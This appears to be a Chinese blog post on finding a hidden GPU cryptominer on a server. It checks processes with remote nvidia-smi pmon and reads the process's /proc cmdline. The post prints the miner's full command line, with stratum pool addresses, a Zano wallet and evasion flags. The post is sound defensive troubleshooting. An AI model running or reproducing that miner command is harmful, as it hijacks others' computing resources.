快速排查定位“挖矿病毒”

Python3.8

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

挖矿病毒排查方法

一、问题现象

        用户反应服务器上没有运行作业,但是在我公司监控页面查看到的GPU占用一直100%。让我们排查监控是否有问题。

二、排查问题

        我们通过SSH远程登录至服务器,使用nvidia-smi命令查看到GPU利用率极低,大部分在30%以下很少出现100%。

        继续排查发现,一旦SSH登录上机器,GPU利用率就会随之下降到30%以内。当退出SSH远程登录后,GPU利用率上涨100%。怀疑机器有病毒存在。

        重要步骤:我们不再SSH直接登录上去,选择使用如下命令查看进程

ssh root@cst-worker01 -C "nvidia-smi"

ssh root@cst-worker01 -C "nvidia-smi pmon"

        发现nvidia-smi已经没有显示任何进程使用GPU了,但是nvidia-smi pmon可以查看到python3进程,这个很可能就是病毒进程(eg:310880)。

       继续排查进程(eg:310880)文件,发现进程文件夹中伪造了很多系统命令,进一步查找,找到了一个进程的cmdline文件,查看文件内容,发现了病毒命令# ssh root@cst-worker01 -C "cat /proc/310880/cmdline"

python3                                                                                                                                                                                                                                                        -aprogpowz-ostratum+ssl://52.76.12.203:443-ostratum+ssl://13.114.153.90:443-udompet[zano].e2c7b7c9dc4d45a98462b6c26e5c3d7cb4055dff20088e

-px-q--api-bind-http0--no-watchdog--no-strict-ssl--no-sni--devices0,1,2,3,4,5,6,7

        结论:从输出命令看,进程使用了ostratum挖矿协议,指向了外网,且参数中包含大量可疑内容eg:--no-strict-ssl并且在排查中进程号一直在变,确定为挖矿病毒

        以后如果遇到GPU使用率异常问题,可使用如下两条命令基本可以定位:

ssh root@cst-worker01 -C "nvidia-smi"

ssh root@cst-worker01 -C "nvidia-smi pmon"

       使用下面命令辅助查看病毒信息:

ssh root@cst-worker01 -C "ls -l /proc/310880/*" (这个灵活使用)

ssh root@cst-worker01 -C "cat /proc/310880/cmdline" (这个灵活使用)

您可能感兴趣的与本文相关的镜像

Python3.8

Python3.8

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值